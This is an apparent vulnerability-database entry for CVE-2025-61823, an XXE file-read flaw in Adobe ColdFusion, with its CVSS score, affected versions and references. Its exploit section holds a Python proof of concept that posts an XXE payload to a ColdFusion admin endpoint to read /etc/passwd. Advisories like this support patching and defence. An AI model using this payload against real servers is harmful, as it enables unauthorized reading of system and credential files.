CVE-2025-61823

Description

ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could lead to arbitrary file system read. A high privileged attacker could exploit this vulnerability to access sensitive files and data on the server. Exploitation of this issue requires user interaction and scope is changed.

CVSS Details

CVSS Score

6.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:coldfusion:2021:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update10:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update11:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update12:*:*:*:*:*:* - VULNERABLE

Adobe ColdFusion 2025.4及更早版本

Adobe ColdFusion 2023.16及更早版本

Adobe ColdFusion 2021.22及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# XXE PoC to read /etc/passwd from Adobe ColdFusion
import requests

target_url = "http://target.com/CFIDE/adminapi/accessmanager.cfc"

xxe_payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>"""

headers = {
    "Content-Type": "text/xml",
    "SOAPAction": ""
}

try:
    response = requests.post(target_url, data=xxe_payload, headers=headers, timeout=30)
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
except requests.exceptions.RequestException as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-61823
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-61823
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-61823/
[4] VulDB https://vuldb.com/cve/CVE-2025-61823
[5] https://helpx.adobe.com/security/products/coldfusion/apsb25-105.html

Raw JSON Data

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